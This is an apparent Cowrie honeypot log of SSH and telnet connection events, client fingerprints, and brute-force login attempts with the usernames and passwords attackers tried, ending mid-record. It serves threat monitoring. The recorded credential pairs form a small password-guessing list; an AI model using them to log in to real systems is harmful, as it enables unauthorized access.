{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:30:02.911384Z","src_ip":"109.91.4.177","session":"ba5cea7f3436","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:30:03.016224Z","src_ip":"109.91.4.177","session":"ba5cea7f3436","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:30:03.035960Z","src_ip":"109.91.4.177","session":"44a26516d7e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":49036,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4566fb638a8","protocol":"ssh","message":"New connection: 159.65.58.200:49036 (159.203.135.109:22) [session: d4566fb638a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:30:10.497304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:30:10.704908Z","src_ip":"159.65.58.200","session":"d4566fb638a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:30:10.709186Z","src_ip":"159.65.58.200","session":"d4566fb638a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.73566770553589,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:30:11.663766Z","src_ip":"170.64.224.25","session":"01474dfa9e3c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"sushenok","password":"123456","message":"login attempt [sushenok/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:30:11.992735Z","src_ip":"159.65.58.200","session":"d4566fb638a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:30:13.229906Z","src_ip":"159.65.58.200","session":"d4566fb638a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.381163358688354,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:30:18.568667Z","src_ip":"170.64.224.25","session":"90be4c170c79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":69.12787175178528,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:30:44.382857Z","src_ip":"137.184.5.188","session":"9c5bf1ccec86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":47982,"dst_ip":"10.17.0.5","dst_port":22,"session":"903dbdde2b71","protocol":"ssh","message":"New connection: 38.148.249.2:47982 (10.17.0.5:22) [session: 903dbdde2b71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:30:49.743030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:30:49.747803Z","src_ip":"38.148.249.2","session":"903dbdde2b71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:30:49.816625Z","src_ip":"38.148.249.2","session":"903dbdde2b71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Carlos123","message":"login attempt [root/Carlos123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:30:50.128375Z","src_ip":"38.148.249.2","session":"903dbdde2b71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:30:51.199488Z","src_ip":"38.148.249.2","session":"903dbdde2b71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":32840,"dst_ip":"10.17.0.5","dst_port":22,"session":"295f372f9ca3","protocol":"ssh","message":"New connection: 209.99.190.200:32840 (10.17.0.5:22) [session: 295f372f9ca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:31:23.874484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:31:23.878259Z","src_ip":"209.99.190.200","session":"295f372f9ca3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:31:23.978326Z","src_ip":"209.99.190.200","session":"295f372f9ca3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"s0p0rt3","message":"login attempt [root/s0p0rt3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:31:24.402027Z","src_ip":"209.99.190.200","session":"295f372f9ca3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:31:25.502104Z","src_ip":"209.99.190.200","session":"295f372f9ca3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":59574,"dst_ip":"159.203.135.109","dst_port":23,"session":"eaac9508f9d7","protocol":"telnet","message":"New connection: 137.184.5.188:59574 (159.203.135.109:23) [session: eaac9508f9d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:31:36.092334Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":54724,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdb55eb2ab60","protocol":"ssh","message":"New connection: 103.27.238.114:54724 (159.203.135.109:22) [session: fdb55eb2ab60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:31:50.209183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:31:50.211720Z","src_ip":"103.27.238.114","session":"fdb55eb2ab60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:31:50.489091Z","src_ip":"103.27.238.114","session":"fdb55eb2ab60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cnfkby","message":"login attempt [root/cnfkby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:31:51.322336Z","src_ip":"103.27.238.114","session":"fdb55eb2ab60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:31:52.602758Z","src_ip":"103.27.238.114","session":"fdb55eb2ab60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":64653,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce861abd451f","protocol":"ssh","message":"New connection: 109.91.4.177:64653 (10.17.0.5:22) [session: ce861abd451f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:31:56.042610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:31:56.050901Z","src_ip":"109.91.4.177","session":"ce861abd451f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:31:56.150378Z","src_ip":"109.91.4.177","session":"ce861abd451f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456abcd","message":"login attempt [root/123456abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:31:56.589852Z","src_ip":"109.91.4.177","session":"ce861abd451f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:31:57.696515Z","src_ip":"109.91.4.177","session":"ce861abd451f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.218.183","src_port":54700,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0f07a0262d2","protocol":"ssh","message":"New connection: 162.240.218.183:54700 (159.203.135.109:22) [session: a0f07a0262d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:32:01.336084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:32:01.338242Z","src_ip":"162.240.218.183","session":"a0f07a0262d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:32:01.427749Z","src_ip":"162.240.218.183","session":"a0f07a0262d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"B1@st@Tr0ng!W0rd","message":"login attempt [root/B1@st@Tr0ng!W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:32:01.693847Z","src_ip":"162.240.218.183","session":"a0f07a0262d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.55","src_port":36924,"dst_ip":"10.17.0.5","dst_port":22,"session":"5605974d633f","protocol":"ssh","message":"New connection: 80.94.92.55:36924 (10.17.0.5:22) [session: 5605974d633f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:32:02.980851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:32:03.463106Z","src_ip":"80.94.92.55","session":"5605974d633f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:32:03.466084Z","src_ip":"80.94.92.55","session":"5605974d633f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.18.100","src_port":42960,"dst_ip":"159.203.135.109","dst_port":22,"session":"558908be3e39","protocol":"ssh","message":"New connection: 206.189.18.100:42960 (159.203.135.109:22) [session: 558908be3e39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:32:03.549230Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:32:03.624041Z","src_ip":"206.189.18.100","session":"558908be3e39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:32:05.420558Z","src_ip":"162.240.218.183","session":"a0f07a0262d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:32:05.826314Z","src_ip":"80.94.92.55","session":"5605974d633f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:32:07.326117Z","src_ip":"80.94.92.55","session":"5605974d633f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":43292,"dst_ip":"10.17.0.5","dst_port":22,"session":"50cd11e766ab","protocol":"ssh","message":"New connection: 38.148.249.2:43292 (10.17.0.5:22) [session: 50cd11e766ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:32:30.423674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:32:30.427190Z","src_ip":"38.148.249.2","session":"50cd11e766ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hm